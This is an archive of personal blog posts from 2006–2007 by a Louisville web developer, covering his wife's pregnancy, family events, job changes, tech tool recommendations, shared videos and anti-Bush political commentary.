Chirstmas in Louisville – Blount/Beatty/McClure/Weatherman

Wed, 26 Dec 2007 07:05:06 +0000

A good and busy Christmas this year. We stayed in Louisville because Anita’s too close to due-date to travel. Had 7 different family engagements in two days and enjoyed every one… though at the end of things we are certainly tired. We had too much food and too much sugar, enough sleep and a great amount of fun. Photos of Christmas: PS: +Facebook Also – I setup a facebook profile +photos, because it’s the thing to do.

Penelope will be: year of the pig

Fri, 21 Dec 2007 20:11:31 +0000

<p> </p> <blockquote> <p> The Pig type is usually an honest, straightforward and patient<br /> person. They are a modest, shy character who prefers to work quietly<br /> behind the scenes. When others despair, they are often there to offer<br /> support. This type of person is reserved with those they do not know<br /> too well, but as time passes and they gain confidence, those around<br /> them may discover a lively and warm-hearted person behind that mask of<br /> aloofness.

The Nerd Handbook – where was this when asked me “why?”

Thu, 20 Dec 2007 19:35:39 +0000

It’s long, but great – go read the Nerd Handbook and understand your favorite nerds just a bit more. Here’s a quote from the top: Understand your nerd’s relation to the computer. It’s clichéd, but a nerd is defined by his computer, and you need to understand why. First, a majority of the folks on the planet either have no idea how a computer works or they look at it and think “it’s magic”.

Algebrahelp.com – where was this when I was in school?

Thu, 20 Dec 2007 19:28:18 +0000

I recently came up with a VERY simple algebraic equation… trying to figure out how many months it would take for something to become cost effective. I looked at the equation and thought I would see if google search could solve it (it can solve basic math problems and even unit conversions), but google couldn’t handle it. So I thought I’d see if there was something else. It took no time to find Algebrahelp.

Hubble Ultra Deep Field – a sense of proportion

Sat, 15 Dec 2007 16:31:29 +0000

As Douglas Adams put, humans really can’t deal with having a sense of proportion. We aren’t capable. But we can stretch for it… (I can touch my toes, but I can’t bend further over… but I should try to) Take 5 minutes and read this fantastic piece on an image from Hubble Ultra Deep Field. It’s a great reminder of what we know about space and a few tools to help you start to realize that you can’t ever come close to grasping a true sense of proportion.

I’m voting for Andrwe Horne, for the Senate

Thu, 13 Dec 2007 18:07:10 +0000

Not that it matters to most of you, but a friend of mine reminded me that I should indicate who I am voting for… If for nothing else I like the following line: I offer trustworthy, competent and genuine leadership. I am not a Politician. Of course, anyone can say that – but my general feeling is that he would be a good Senator.

Emilyn Parker, born

Thu, 13 Dec 2007 07:23:20 +0000

Anita and Alan and Cathy (Alan’s mom) visit Chris and Jenny Parker in the hospital ~2 days after the birth of Emmalynn Parker. more… This was a “scary” birth story. After 7-8 hours of early/active labor, everything normal and in the Hospital… the baby monitor showed significantly decreasing heartrate. Chris hit the “call nurse” button about the same time as 4 nurses ran into the room and moved Jenny around. The changed position got the heartrate up some, but not enough… so an emergency cessarian was preformed.

Anita’s Baby Shower

Wed, 12 Dec 2007 14:42:23 +0000

I may well get around to uploading pictures of it myself, but until then… I’m going to ride on the accolades of giants… My mom flew into town and has already posted a bunch of photos with captions: http://picasaweb.google.com/cathypennington/AnitaSBabyShower Update: 2007.12.26 I finally got around to uploading the images for this babyshower in my photos.

Visit to Bob and Doris

Fri, 07 Dec 2007 06:03:11 +0000

Heading to the company meeting in Dallas, I was able to swing into Gainsville, TX for a couple of days to visit Bob And Doris (my Uncle and Aunt on my Dad’s side). Doris is pretty much confined to a bed or wheelchair, but amazingly she seems to be in good spirits and would be her same old self if only her body would cooperate. Bob is ok aside from a month long lung infection of some sort and continual problems with his coumadin.

Company Meeting – Dec. 2007

Fri, 07 Dec 2007 05:59:16 +0000

After a very short time at the company, I’m (currently) at the company meeting in Dallas, TX. It’s been fantastic, and for me to say that about a company meeting – you had better recognize the significance. The people are spread out over the country and all work in their own areas, so most I havn’t met. The purpose of these meetings is to get together and basically say what we’ve each done and what we’re going to be doing.

Anita’s Baby Shower: codename pre-penelope (2007.12.09)

Tue, 04 Dec 2007 16:47:11 +0000

Everyone seems to be gearing up for the baby-shower. I’m sure its going to be rife with “ooohh” and “awww” and “isn’t that cute”. Typically I’m pretty easygoing about such things, but in this case, I’m glad it’s a woman-only-affair. That said, Anita is surprising herself with how into the whole affair she is becoming. Those hormones are potent, it seems. To all friends who were not invited… guess what… no friends were.

New(ish) Job == AO & HH == Great

Sun, 25 Nov 2007 17:42:01 +0000

I’ve been working part time for AudiologyOnline for months (after hours and on the weekends), and have finally started there full time as of Nov 15th. It’s been wonderful, not only has everyone been very nice and supportive, but I’ve ben able to jump in with both feet and get to work. It’s meeting time central. I’m in LA for a conference on Local Search this week and in Dallas for a company meeting next week.

Hearthsong – cool toys and stuff for Penelope (in a couple of years)

Wed, 07 Nov 2007 14:39:19 +0000

This site [hearthsong] looks like they have a lot of really cool stuff for kids… In a couple of years I suspect we’ll get a bunch of stuff from here – a lot of learning toys and slightly less corporate-nickelodeon commercialism (it seems).

Photos of anita and penelope @ 7 month (t – ~3 months)

Sun, 28 Oct 2007 05:24:38 +0000

Here are some fun pictures of Anita and Penelope. She’s now 7 months pregnant and starting to get a bit un-comfortably pregnant. Parts of her fall asleep without reasonable cause. Getting up is more of a challenge than it’s ever been before. Penelope is kicking most of the time, sometime flipping around and keeping things interesting… occasionally kicking down – apparently very painful, that.

A spider attacks a moth… in my sink

Sun, 28 Oct 2007 05:18:30 +0000

Checkout these photos of a spider “taking care of” a recently caught moth. The color leaves a bit to be desired, but the subject matter afforded an opportunity to play with manual focus on the camera from a close distance… also it’s neat to see something like this, zoomed in. [Checkout these photos of a spider “taking care of” a recently caught moth. The color leaves a bit to be desired, but the subject matter afforded an opportunity to play with manual focus on the camera from a close distance… also it’s neat to see something like this, zoomed in.

PS3 Cluster… i’ll take just one.

Fri, 19 Oct 2007 18:15:33 +0000

Clusters are inherently cool anyway… there are much cheaper ways of doing it… but how sexy is that? Take one of the clustered PS3’s out of the mix, play some games… put it back in to crunching. Engineer Creates First Academic Playstation 3 Computing Cluster

Maido is open for <$9 all you can eat Lunch Buffet

Wed, 17 Oct 2007 17:28:25 +0000

This is about the best news ever. (my stomach thinks so) We just heard about this today, and went to Maido’s (in Louisville, KY – map)…. it was absolutely fantastic! For less than $9, you get to pick over some of the best Japanese food in Louisville. As of now, it’s only been open for lunch for about a week and there were few people there. So go quick. I suspect when word of this gets out, it will either stop or get ridiculously busy.

many photos of anita and alan and others

Tue, 16 Oct 2007 06:29:46 +0000

A few people have asked me for photos of Anita… I’ve been lax in uploading and in fact I have more on a camera still… but I might as well provide easy links for the ones I’ve uploaded so far… https://zeroasterisk.com/photos/v/friends/2007/    (slideshow) Here are some samples:

Update on the Blounts – Early October 2007

Wed, 10 Oct 2007 18:02:23 +0000

So, I’ve been remiss to put anything about us on here recently. I’m thinking that I might split the blog into two seperate blogs… one on the Blounts, and one on general stuff I feel like talking about… 2 weeks. (the perpetual two weeks) Anyway… Anita’s very pregnant… always holding her belly and still, gloriously asymptomatic. She’s working at a low cost mdeical center pharmacy for this month’s rotation. not very interesting for her.

select a candidate (2008) quiz – alan’s results:

Sat, 29 Sep 2007 22:28:14 +0000

<td> <a href="http://www.dennis4president.com/" target="_blank"><b>Dennis Kucinich</b></a><br />Score: 43 </td> <td> <b>Agree</b><br />Iraq<br />Taxes<br />Stem-Cell Research<br />Health Care<br />Abortion<br />Social Security<br />Line-Item Veto<br />Energy<br />Marriage </td> <td> <b>Disagree</b><br />Immigration<br />Death Penalty </td> <td> <a target="_blank" href="http://www.barackobama.com/"><b>Barack Obama</b></a><br />Score: 42<br /><a href="javascript:playVideo('1748087', 'Interview%20with%20Barack%20Obama', 'v', 'Political%20-%20Democrat', '389500', 'Political', '', 'www.WQAD.com');">Video</a> </td> <td> <b>Agree</b><br />Immigration<br />Taxes<br />Stem-Cell Research<br />Health Care<br />Abortion<br />Social Security<br />Line-Item Veto<br />Energy<br />Marriage<br />Death Penalty </td> <td> <b>Disagree</b><br />Iraq </td> </tr> <p> <tr valign="top"> <td> <img src="http://web.

“the Iraq war is largely about oil” — Alan Greenspan

Tue, 18 Sep 2007 14:06:21 +0000

Sadly for Bush and Cheney, Greenspan decided to put prudence aside in his new book, The Age of Turbulence, and answer the most neuralgic issue of our times – why the United States invaded Iraq. Greenspan writes: “I am saddened that it is politically inconvenient to acknowledge what everyone knows: the Iraq war is largely about oil.” Everyone knows? Would that it were so. But it’s hardly everyone. Sometimes I think it’s hardly anyone.

60 yr old grandmother and Vietnam veteran, arrested for protesting the war, in Louisville

Thu, 13 Sep 2007 20:15:30 +0000

This is a fear inspiring story, all too easy to imagine. Carol Trainer could hardly process what was happening. To her, a 60-year-old grandmother and Vietnam veteran, of all people. On Memorial Day, of all times. Arrested for protesting the war… “He comes up to me and says, ‘Drop your sign,’” Trainer recalls. “I said, ‘Why?’ He said, ‘I told you to drop your sign.’ He grabbed it out of my hand when I didn’t drop it.

911 +6 years – i’ve done nothing

Wed, 12 Sep 2007 02:51:40 +0000

Well… it’s been a day – just like any other day. I wore black… biked to work… worked… biked home and walked in the park with Anita and Nova. A beautiful day. Nothing in my day to tie this date with six years ago… I was looking for it to come up. Perhaps if I watched television more, or talked to strangers more… perhaps if I got out of my daily life and tried to make a change in the world which reflected my beliefs (such as they are)… perhaps if I didn’t live so comfortably I’d work to fix what seems obviously wrong with the world.

9/11, Six Years Later by David R. Henderson

Mon, 10 Sep 2007 14:02:34 +0000

This is an excellent article, discussing the specific misunderstandings and mistakes made by the US government in response to the 911 attack on the WTC and Pentagon. “Freedom itself was attacked this morning by a faceless coward … and freedom will be defended.” In other words, George W. Bush thought that the reason the United States was attacked was that the attackers hated our freedom. How did he reach this conclusion?

Loose Change – again – 911 and American wars

Tue, 04 Sep 2007 07:01:51 +0000

If you’re tired of propaganda; tired of conspiracy theorists telling you that your media is mostly brainwashing you into the party line of big brother… Wake up. There is a lot of conspiracy theory which must be wrong. It’s nuts… so you choose not to belive it. You don’t accept things at face value. You look for evidence to refute crazy stories. Good. Do so. But do so, also, to the “official story”.

Phase III of Bush’s War

Mon, 03 Sep 2007 01:12:15 +0000

Great article on Bush’s current strength and resolve to bring war to Iran and again devastate a sovereign nation. Hearken to the astonishing rhetoric Bush used at the American Legion Convention in Las Vegas against Tehran: “Iran … is the world’s leading state sponsor of terrorism. … Iran funds terrorist groups like Hamas and the Palestinian Islamic Jihad, which murder the innocent and target Israel. … Iran is sending arms to the Taliban.

stupid humor and photo previews

Fri, 31 Aug 2007 04:00:45 +0000

I must be brain-dead – this is funny to me now: Also, not yet added to the photo gallery on my site, but here’s some of the photos I’ve recently been taking with the camera:

TED – Talks – Blaise Aguera y Arcas: Jaw-dropping Photosynth demo

Wed, 29 Aug 2007 16:48:43 +0000

Absolutely fantastic photosynth program demonstration. This really is inspiring.

Cloth Diapers for Penelope

Wed, 29 Aug 2007 16:27:20 +0000

Thanks to Anita doing research (and generally being excited in all things baby’ish) we have a more solid conviction to cloth diapers. http://www.mothering.com/articles/new_baby/diapers/joy-of-cloth.html – good article on pros and cons http://www.greenmountaindiapers.com/newmom.htm – good pictures and helpful info on how to use and chose which type And in case you haven’t heard or picked up on it… we have pretty much decided on the name “Penelope” after finding out that it was going to be a girl at yesterday’s ultrasound.

A few photos with the new camear

Thu, 23 Aug 2007 14:11:36 +0000

Uploaded some photos from the new camera

Karl Rove’s Father’s Secret…

Wed, 22 Aug 2007 02:32:35 +0000

A Little Bit of History [BME Guest Column] And now I wondered if that son ever cried for the man who raised him and watched him grow up? I’d be curious as to how Karl Rove would ever explain his pierced, gay father? He never told the people in Louis’ phone book that he had died, nor invited them to a service if there was one. No one even knows where he is buried.

whoever these people are, I’m in love with them

Mon, 13 Aug 2007 20:37:43 +0000

fun storm trooper photos

Ultrasound images, healthy development

Fri, 10 Aug 2007 07:11:31 +0000

Here are the ultrasounds from Anita’s Dr. visits. Poor quality images all, as they are on some kind of heat-transfer paper they don’t last, especially not in the heat. That said – they weren’t good quality images in the first place. They are neat images though.amazing to see it grow from a bean to a vertebrate in a fairly short period of time. Fingers and toes… brain and legs. All looks healthy.

Go PHP5

Tue, 31 Jul 2007 13:18:05 +0000

<p class="poweredbyperformancing"> Powered by <a href="http://scribefire.com/">ScribeFire</a>. </p>

I Am Baby Cakes – The Role Play Tournament

Thu, 26 Jul 2007 02:58:02 +0000

Highly entertaining, especially for all you nerds out there…

Back in Louisville, after family visitation

Wed, 25 Jul 2007 17:35:57 +0000

Well we made it back to Lou. after going to a family reunion in Arkansas and then visiting family in Texas.(photos) We’ve now rolled over 140,000 miles on our Honda CRV (1997) and it’s doing great. We are nothing but happy with that vehicle. Anita’s doing well. She’s had some “symptoms” of pregnancy, but for the most part she’s avoided most of the typical complaints. She attributes the lack morning sickness to vitamine B6 and the lack of fatigue to being on vacation and napping all the time.

So many things to make my life better

Mon, 09 Jul 2007 21:14:23 +0000

I’ve been using the “Control Suite” for a couple of development projects and I’m 100% pleased. The tools are modular (so you can take what you want), class based (so they don’t break your other code), well documented, fast, easy, and clean. Anyone who works with/develops AJAX and a dynamic web-user-interface… especially if you already use prototype… I highly recommend you try this set of tools. Control Suite : High Quality Controls & Widgets for Prototype

We are having a baby

Wed, 20 Jun 2007 16:53:03 +0000

Sometime mid January, 2008… Anita and Alan are having a baby.

post move to louisville

Thu, 14 Jun 2007 14:45:27 +0000

We have spent the last several days moving way too many boxes and things from columbus, oh to louisville, ky. We a glad to be donea nd back at work… well… mostly.

Anita’s growing a kidney bean with a 142 beats/min heartrate

Sun, 10 Jun 2007 05:54:41 +0000

The “lil’ nug” inside Anita is currently the size of a kidney bean. The organs have all begun developing and the heart is beating strong, at 142 beats/min. Bloodwork and whatnot seem fine. We’ve got very uninformative ultrasound images which I may get scanned and post sometime… We’re still both pretty attached to the name “Ruby” for a girl. Not sure about a boys name.

Pregnant… that’s right… we’re breeders

Thu, 07 Jun 2007 20:02:04 +0000

After several years of marriage and putting off having kids till we were more financially stable… we are now pregnant. Due in Jan. or Feb. 2008. We have no data, but “think” it’s going to be a girl… Apparently, a few days ago, anita woke up from an amazingly realistic dream where she was holding “our baby girl”. We didn’t really think she was pregnant but after the dream, she had to take a pregnancy test and it turns out we are.

Liam – comedian who did the “shoes” video

Mon, 14 May 2007 04:32:25 +0000

From “Shoes” to “Muffins” to “Text Message Breakup” Liam has been keeping thousands of video watchers entertained… ok… so “Muffin’s” was a little less entertaining than the other two, but all three are great. I also found his youtube profile, with some other video’s I’m not yet familiar with… researching…. Here are the three video’s, for the convenience of any who need to watch (again).

Firebug is the best tool for AJAX web developers

Thu, 10 May 2007 20:27:20 +0000

Firebug is a fantastic Firefox Add-On which allows realtime viewing and editing of a page’s DOM, CSS, etc. as well as net usage reports, and even JS timing and profiling. If you work on the web, it’s well worth your time to familiarize yourself with this tool. Here’s a video presentation: YUI Theater: Joe Hewitt, Welcome to Firebug 1.0 » Yahoo! User Interface Blog – summary

thunderbird can do calendars

Thu, 10 May 2007 03:17:33 +0000

I’ve switched all my personal email to gmail, and have been using it for a couple of years now (i think). But, I have work emails which I can not just forward (or would get confusing if I did). So, of course, I use Thunderbird – which is perfect… but it doesn’t have a calendar. Well, now it does. Check out this tutorial which gives an overview of 2 different plugins which allow 2-way communication between thunderbird and your google calendar.

Alan Updates

Tue, 08 May 2007 14:10:15 +0000

I haven’t been posting a lot… partially to keep the blog a bit more official while looking for employment and partially because I’ve been busy. work updates: So I’ve been working at Via, from home, as a contractor. I’ve been doing that since Feb. Working with friends and doing mostly LAMP development (thankfully). The only downside is that it’s a smaller company and can’t afford to pay me what other places can.

iRack (MADtv)

Wed, 02 May 2007 04:19:59 +0000

This video involves a not-so-subtle analogy…. I give it a clever rating of 3.8 stars (out of 5), but I liked it enough to post. http://www.youtube.com/watch?v=AGHty_S0TU0

Petition to save Internet Radio

Tue, 17 Apr 2007 21:56:48 +0000

Petition to save Internet Radio: http://capwiz.com/saveinternetr I’ve been reading up on copyright laws in America and internationally and it seems blatantly obvious that the extra costs and constraints put on internet radio are one symptom of a larger problem… that our copyright system is outmoded by the technologies of the past 20 years. That’s a larger problem for another day {read “Free Culture” for more information}.For now… lets look at Internet Radio.

recreating the RAID array

Sun, 11 Mar 2007 05:52:33 +0000

So, due to a degraded HDD in my RAID5 array, I decided to build a new array. I bought 4 320G Seagate drives… those drives have many benifits, not least of which, a 5 year warranty. I already have a 3ware escalade RAID controller (7506-4LP), one of the best options for a hardware RAID controller. Instead of building another RAID5, I chose to build 2, RAID1 arrays. I chose this because it’s much easier to buy 2 hard drives (upgrading one mirrored pair) than to buy 4 hard drives (to upgrade a 4 disk array).

Human Computation – Google Video

Thu, 08 Mar 2007 03:48:30 +0000

fantastic video! good geeky thinking…. Human Computation – Google Video

3DM2 (3ware raid management tool) on Ubuntu

Tue, 06 Mar 2007 17:35:40 +0000

Ran into a problem installing the 3DM2 (3ware raid management tool) on Ubuntu today. Got an “” error when trying to run the install script. After a bit of debugging, I figured out that the failing variable was in the “check architecture” section of the script… In my case, I simply stripped out the logic and put in the following text to just set variables to my specific setup: After that it worked fine… but once installed, the service wouldn’t start… due to the following error “Failed to create SSL context”.

the personality test to remind you what’s (not) important

Thu, 01 Mar 2007 18:36:23 +0000

Five questions that will dictate your personality for the rest of your life. I don’t get it. It’s like those people who go around with those t-shirts and stickers that say “you laugh at me because I’m different, but I laugh at you because you’re all the same.” How different are you if you’re wearing a mass-produced t-shirt with a registered trade mark sold through one of the largest clothing franchises in the world?

Seven Things Learned from World of Warcraft

Wed, 28 Feb 2007 18:25:17 +0000

I have never been sucked into WoW like so many of my friends (because I’m too cheap to spend $15/month) but this article is still great. (It’s so well written, non-geek should enjoy) johnaugust.com » Seven Things I Learned from World of Warcraft

Asylum Street Spankers

Fri, 16 Feb 2007 19:13:49 +0000

irreverent videos – compliments of jason s. Asylum Street Spankers – Pussy Cat Song – (YouTube) Asylum Street Spankers – Misc – (YouTube) Asylum Street Spankers – Whatever – (YouTube) Asylum Street Spankers – Winning the War on Drugs – (YouTube)

TELL THE TRUTH – Mos Def – Immortal Technique

Fri, 16 Feb 2007 15:04:41 +0000

TELL THE TRUTH – Mos Def – Immortal Technique – Eminem (YouTube) A hip-hop track talking about the Bush Administration conspiracy… all content you and I are very familiar with, but a great mainstream presentation of that data. Just one more nail in Bush’s coffin (at least in regards to public opinion).

oh my god, shoes

Thu, 15 Feb 2007 15:42:52 +0000

shoes – “kelly” – “oh my god, shoes” (youtube) This is one of my very favorite videos, thought I’d post it for easy watching…

A cold and frozen birthday for Anita

Wed, 14 Feb 2007 05:19:28 +0000

As you can see below – it’s cold and wet… It hasn’t stopped snowing or sleeting in about 24 hours. Anita’s birthday was great. I drove her to get coffee and then to school. I picked up lunch and delivered it. School actually got cancelled early today (unheard of here). We hung out and watched Battlestar Gallactica for a while and then went to eat at the Surly Girl with some good friends.

The life and strife of a web developer/designer

Mon, 12 Feb 2007 19:52:10 +0000

The life and strife of a web developer/designer, as an animated gif.

Gainfully employeed, kind-of

Wed, 31 Jan 2007 21:39:31 +0000

I am now hired on a 2 month contract with via studio, a very well respected design/development/consulting company. This may turn into a long term position, but the 2 month contract period is a good trial run for them and for me. I’ll update as I have more information. Today is my last day of work at Mercer. It has ended lack-luster (painfully), but the whole experience has been great for me.

looking for a job – web development / project managment

Tue, 09 Jan 2007 19:24:14 +0000

As you can see, I’m looking into my options for employment. I have a few leads, but would like to explore all of my options… at least all of the options I can get in quickly, as I’d like to have a choice made by late January. 1-page resume 2-page resume Ideally, I’d like to find a position which afforded me the opportunity to manage, design, and develop web-based projects / solutions.

over to Singapore

Mon, 08 Jan 2007 19:02:10 +0000

As one might so commonly read on IT employee blogs, “our team has been laid off”. That’s right, the whole team is being outsourced to Singapore, effective Jan 31. It will be a near-future disaster for the company, though it might encourage the abandonment of many applications and proceedures which I’ve been complaining about for years. But though on paper it looks like money saved, I suspect it will end up as more costly to keep things working/improving or a less expensive disaster where nothing works.

Quick little update – greyhound to louisville

Sun, 07 Jan 2007 15:33:06 +0000

I’ve been very remiss at updating the blog here… I’ve had lots of good family time and some travels, some interesting stories and what-not. but no… I’ve not been updating with anything important… and I’m apparently not going to start… Here’s a very minor update: I’m getting on a greyhound bus today from Columbus to Louisville. Going to a few “in-the-office meetings” and also to help Karen and Bryan (Anita’s Mom & Stepfather) as they frantically get moved from their house in the suberbs to their Victorian house in Old Louisville.

stuff it expander download link

Thu, 07 Dec 2006 23:57:35 +0000

For anyone who had a really hard time getting just the free expander for stuffit (.sitx files) – here’s the link: StuffIt Expander: Free file expansion – Windows StuffIt Expander: Free file expansion – Mac

210 hours in 3 weeks…. i’m afraid so.

Thu, 30 Nov 2006 20:00:42 +0000

My past 3 weeks… I’ve worked ~210 hours… that averages to 70 hours per week… but really I worked almost 100 hours in one 7 day period. One day, i worked from 6am – 2am, and one day I worked from 9am – 2am. Always getting up and working the next day by 9am at the latest and working more than a full day… every day. Why would I do such horrendous work?

AutoHotKey – like robotype on steroids

Tue, 28 Nov 2006 16:08:50 +0000

AutoHotkey – Free Mouse and Keyboard Macro Program with Hotkeys and AutoText: AutoHotkey is a free, open-source utility for Windows. With it, you can: Automate almost anything by sending keystrokes and mouse clicks. You can write a mouse or keyboard macro by hand or use the macro recorder. Create hotkeys for keyboard, joystick, and mouse. Virtually any key, button, or combination can become a hotkey. Expand abbreviations as you type them.

Police brutality – an email from Jason E. (spoon)

Wed, 22 Nov 2006 21:25:09 +0000

A great but disturbing email sent by my friend Jason E. (spoon): November 14th, 2006: A student is tasered five times while in police custody while in the library at UCLA. The cops tase him, not because he’s fighting them, but because he is (non-violently) refusing to walk out of the library with them. Note that the cop says, “Stand up or you’ll get tased again.” Of anything on this video that comment really sickens me the most.

jamglue – tightness!

Fri, 17 Nov 2006 19:20:45 +0000

Jamglue – Glue it to the man: This is a fantastic tool – to multi-track audio from a collaboartive environment with slick controls and a great/simple user interface. http://www.jamglue.com/people/zeroasterisk screencast tutorial http://blog.jamglue.com/ http://jamglue.com/ I just wonder who has time to make such a cool site… ther interface required would not be simple to whip together. I’m impressed. Get it while it’s beta/hot/free…

ultimate in singapore as reported in the wall street journal

Fri, 10 Nov 2006 16:34:20 +0000

The Ultimate Sport – WSJ.com: Besides being relatively inexpensive to play, part of Ultimate’s appeal lies in the fact that stature isn’t as critical as speed and dexterity: catching, throwing, jumping and pivoting. One of the star players for the Filipino team Pula, Panoy de los Santos, for instance, is just 1.57-meters tall (but the fastest member of the team). Another attraction is that Ultimate is a noncontact game, so women like it as much as men do — 35% of the 500 players in the Philippines are female.

vote – and know who you are votting for

Tue, 07 Nov 2006 18:45:42 +0000

don’tvote.com – OH go vote – you voting can’t hurt anything, not voting might.

Marea & DJ are wed, HH3 rocked

Wed, 01 Nov 2006 02:39:42 +0000

Marea and DJ’s wedding on Saturday Oct. 28th was wonderful. The wedding proper was at ~1pm at her father’s house in the Tyler Park area. It was supposed to be a very small event, which still ended up being 60+ people. It was an hour of hanging out, then 10 minutes of ceremony, and then an hour of eating and hanging out some more. The ceremony was basically: “we are all happy to be here… do you, and you?

bank interest calculation in question… looking for your 2 cents

Thu, 26 Oct 2006 17:25:28 +0000

I need some help from some people who understand finances better than I do, am I getting ripped off of a cent a month interest by my bank? (earth shattering importance, of course) Imagine the following (hypothetical) savings account earning 1% annual interest. 1% annual is (0.01 / 365) 0.000027397260274 daily interest. So for every day, you multiply the amount of money you have accruing interest by that daily amount… add the days together and you’ve got your interest amount for that length of days… when your money amount changes (when you add to it or reduce it) your calculations change, so you need to reflect that… a basic table is displayed below…

Praise to Alan

Thu, 26 Oct 2006 15:27:28 +0000

I would like to take a moment and give praise to Alan. For those who know him, know that he is awesomely quicky, white and nerdy. It gets better when you live with him! I have come home after a bad day several times this quarter, and he has cleaned. We’re not talking just dishes – we’re talkin dishes, sweeping, mopping, cat box, laundry, the whole nine yards. He does these things even though he’s been working all day and probably hasn’t had a much better day than I have.

Benny Benassi’s Satisfaction Videoclip

Tue, 24 Oct 2006 16:49:12 +0000

Benny Benassi’s Satisfaction Videoclip. Warning: flesh and power tools do not always go together this well.

taskbar suffler

Fri, 20 Oct 2006 17:41:05 +0000

home of the nerd cave | taskbar shuffle and more: Once you download, install, and run Taskbar Shuffle, left-click and drag the programs/buttons on your Windows taskbar to rearrange them. It’s that easy. This is a great tool for those (like me) who usually have over a dozen applications they need to keep open at the same time for work or whatever… thus, you don’t have to hunt as hard for the open program you need to find.

Explorer Destroyer

Tue, 17 Oct 2006 19:10:30 +0000

Explorer Destroyer – Switch to Firefox, Make money from Adsense Referral: Get this tool for switching people from IE to Firefox. For each person you switch, Google gives you $1, Microsoft loses marketshare, and an angel gets its wings. I have thought about adding this to my site… I already annoy visitors with a note in the header… perhpas I should try to get paid a little for that annoyance (if successful).

Anita’s new wedding ring (yes, from alan)

Mon, 16 Oct 2006 23:27:37 +0000

[ Anita’s new wedding ring (the 3rd)]1 This is the 3rd wedding rind on Anita’s finger… all 3 from Alan, and all within the first 5-6 years of marriage. Luckily all three of them together are less than many people pay for one… this weighing in fairly high on the price list at ~$170… we purchased it from Donald R. Pekarek, the jeweler/goldsmith/artist who made it. He was at a local art fair a couple of weeks ago, here in Columbus and though we were not really in the market, decided that it seemed very Anita’ish and she wanted to have a ring again….

Adam Menzies: Trampoline Demo

Mon, 16 Oct 2006 20:35:48 +0000

YouTube – Adam Menzies: Trampoline Demo: A totally amazing athlete – the movie is fair quality and 6 minutes with good variety. Anyone who enjoys jumping or climbing will be impressed.

a few fun science videos

Fri, 13 Oct 2006 15:29:13 +0000

Fun, sciencey videos/links: Water Balloon popping in slow motion Water Balloon, filling with dry ice, and collapsing in Liquid nitrogren Representation and explanation of 10 dimensional space (as described in string theory) GeoHacks – 30 minute interesting lecture on mapping and math Thinking Big: Robotics – 30 minutes interview on robotics and intelligence Protien Assembly – 13 min (1971) – hilarious cut-scenes Nagoya City Science Museum – 13 min in Japanese

Iddybud: The Buck Stops with Bush

Thu, 12 Oct 2006 20:57:25 +0000

Iddybud: The Buck Stops with Bush: What we have done in Iraq – the way we went about this venture – is something I’m sure that President Bush now regrets, even though he’d never admit it. We have a strategic nightmare on our hands, and we also have citizens of Iraq – not al Qaeda, but citizens – murdering one another. The children in the photo you see above are real.

Inside Toyota’s hybrid factory | CNET

Thu, 12 Oct 2006 18:22:35 +0000

Inside Toyota’s hybrid factory | CNET News.com: TOYOTA CITY, Japan–While you’re touring the assembly area in Toyota’s Tsutsumi auto plant, your mind keeps telling you that you’ve been here before. Then it hits you. It’s a lot like the Snow White ride at Disneyland. Robotic cars filled up with wiper blades and other parts amble along a track in the floor, taking parts from the procurement department to other ends of the factory.

White and Nerdy- Weird Al

Sun, 08 Oct 2006 22:59:40 +0000

YouTube – White and Nerdy- Weird Al This video/song is fantastic… it hits pretty close to home for me and several of my friends, though. Personally it’s hitting at least 40% acurate for me: I’m fluent in Javascript, do webpages for friends, got a friend who went to MIT, have stationary rims, i’ve got a soldering gun, i edit wikipedia, i can quote the whole “Monty Python and the Holy Grail”, and I wanna bowl with the gansta’s.

dan bern made me a man

Sat, 07 Oct 2006 06:04:03 +0000

saw dan bern last night… he’s fantastic – still – always. his second song was “I do what I have to do to make me feel like a man…” which is a great song. during it, watching him, I realized that I too, am a man… sounds stupid, I know. I’ve been married for 6 years and have a real job and real responsibilities and nothing has changed in my life much for the last couple of years….

Bush is a Post Turtle

Tue, 03 Oct 2006 16:27:29 +0000

While suturing a cut on the hand of a 75-year-old Texas rancher, whose hand was caught in a gate while working cattle, the doctor struck up a conversation with the old man. Eventually, the topic got around to former Texas Governor George W. Bush and his elevation to the White House. The old Texan said, “Well, ya know, Bush is a ‘post turtle’.” Not being familiar with the term, the doctor asked him what a ‘post turtle’ was.

My company has a new CEO

Tue, 26 Sep 2006 20:01:13 +0000

Here is a link to an article which paints a less than favorable picture of her. Watch the stock with interest… but you might not want to invest just yet. (note one of the comments that she was associated w/ the Enron disaster)

Arrr, it be talk like a pirate day again.

Tue, 19 Sep 2006 19:42:59 +0000

Talk Like A Pirate Day – September 19: Aye, we be needin’ ya to talk like pirate now or ye’ be considered a spinless land-lubber. If ye’ be needin’ some a guidance-like, watch “Pirates of the Carribian” again and hold fast.

Jenifer (in LA) posted some new photos recently

Tue, 19 Sep 2006 18:39:48 +0000

Martha’s Vineyard- August 2006: [<img src="https://zeroasterisk.com/photos/main.php?g2_view=core.DownloadItem&g2_itemId=30381&g2_serialNumber=2" class="giThumbnail" alt="8.13.06" longdesc="Edgartown Yacht Club Annual Regatta" height="150" width="200" />][2] [<img src="https://zeroasterisk.com/photos/main.php?g2_view=core.DownloadItem&g2_itemId=30426&g2_serialNumber=2" class="giThumbnail" alt="August13,06" longdesc="The Edgartown Ligthouse. Featured in "Jaws"..." height="150" width="200" />][3]</p><div class="twttr_button">

MoveOn petition to not let bush of the hook

Tue, 19 Sep 2006 13:03:12 +0000

MoveOn.org Political Action: The Senate must not pardon President Bush for breaking the law: “The Senate must not pardon President Bush for breaking the law by illegally wiretapping innocent Americans. Instead, Congress should be holding him accountable.”

Bill which does not reinterprets the Geneva Conventions

Mon, 18 Sep 2006 15:48:50 +0000

CNN.com – GOP split as Senate panel bucks Bush on terror tribunals – Sep 15, 2006: The bill was backed by Republican Sens. John Warner of Virginia, chairman of the Armed Services Committee, Sen. John McCain of Arizona and Sen Lindsey Graham of South Carolina. It differs from the administration’s proposal in two major ways: It would permit terror suspects to view classified evidence against them and does not include a proposal that critics say reinterprets a Geneva Conventions rule that prohibits cruel and inhuman treatment of detainees.

sarah and molly – brown bagging it

Sat, 16 Sep 2006 16:14:36 +0000

Check out this wonderful (heh) picture of molly and Sarah going to Sarah’s wedding…

Mates of State & Dresdon Dolls – some videos were found….

Fri, 15 Sep 2006 21:10:18 +0000

